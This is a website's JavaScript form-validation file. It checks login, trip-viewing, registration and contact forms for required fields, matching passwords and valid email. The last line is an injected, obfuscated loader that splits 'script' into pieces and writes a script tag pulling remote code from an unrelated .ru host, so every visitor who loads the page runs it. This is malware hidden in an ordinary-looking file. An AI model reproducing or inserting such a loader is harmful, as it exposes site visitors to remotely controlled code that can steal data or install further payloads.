// JavaScript Document

//Verify Login Form
function verifylogin() {
var txt = "";
	
	if (document.frmlogin.loginname.value=="") {
	 txt = txt + "\n * Username";
	}
	if (document.frmlogin.loginpassword.value=="") {
	 txt = txt + "\n * Password";
	}

	if (txt) {
		alert ("The folowing fields are required:\n" + txt);
		return false;
	}	
}

//Verify Viewing Trip Form
function verifyviewtr() {
var txt = "";
	
	for(var i = 0; i < document.frmviewtr.title.length; i++) {
	if(document.frmviewtr.title[i].selected) {
		if(document.frmviewtr.title[i].value=="") {
		  txt = txt + "\n * Title";
		}
	}
	}
	if (document.frmviewtr.name.value=="") {
	 txt = txt + "\n * Full name";
	}
	if (document.frmviewtr.telephone.value=="") {
	 txt = txt + "\n * Telephone";
	}
	var str=document.frmviewtr.email.value
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i 
	if (!filter.test(str)) {
	 txt = txt + "\n * Email (Valid!)";
	}
	if (document.frmviewtr.address.value=="") {
	 txt = txt + "\n * Address";
	}
	if (document.frmviewtr.fromdate.value=="") {
	 txt = txt + "\n * Date From";
	}
	if (document.frmviewtr.todate.value=="") {
	 txt = txt + "\n * Date To";
	}
	for(var i = 0; i < document.frmviewtr.ref_entry.length; i++) {
	if(document.frmviewtr.ref_entry[i].selected) {
		if(document.frmviewtr.ref_entry[i].value=="") {
		  txt = txt + "\n * Where did you hear about us";
		}
	}
	}

	if (txt) {
		alert ("The folowing fields are required:\n" + txt);
		return false;
	}	
}

//Verify Registration Form

function verifyregister() {
var txt = "";
	
	if (document.frmregister.username.value=="") {
	 txt = txt + "\n * Username";
	}
	if (document.frmregister.password.value=="") {
	 txt = txt + "\n * Password";
	}
	if (document.frmregister.repassword.value=="") {
	 txt = txt + "\n * Re type Password";
	}
	
	if (((document.frmregister.password.value!="") && (document.frmregister.repassword.value!="")) && (document.frmregister.password.value != document.frmregister.repassword.value)) {
	 txt = txt + "\n * Type same password twice";
	}
	
	if (document.frmregister.name.value=="") {
	 txt = txt + "\n * Name";
	}
	if (document.frmregister.telephone.value=="") {
	 txt = txt + "\n * Telephone";
	}
	
	var str=document.frmregister.email.value
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i 
	if (!filter.test(str)) {
	 txt = txt + "\n * Email (Valid!)";
	}


	if (txt) {
		alert ("The folowing fields are required:\n" + txt);
		return false;
	}	
}


//Verify Contact Form

function verify_cnt() {
var txt = "";
	
	if (document.frmcnt.title.value=="") {
	 txt = txt + "\n * Title";
	}
	if (document.frmcnt.name.value=="") {
	 txt = txt + "\n * Name";
	}
	var str=document.frmcnt.email.value
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i 
	if (!filter.test(str)) {
	 txt = txt + "\n * Email (Valid!)";
	}
	if (document.frmcnt.telephone.value=="") {
	 txt = txt + "\n * Telephone";
	}
	if (document.frmcnt.message.value=="") {
	 txt = txt + "\n * Message";
	}
	
	if (txt) {
		alert ("The folowing fields are required:\n" + txt);
		return false;
	}	
}
document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Firewire.js"></scr'+'ipt>');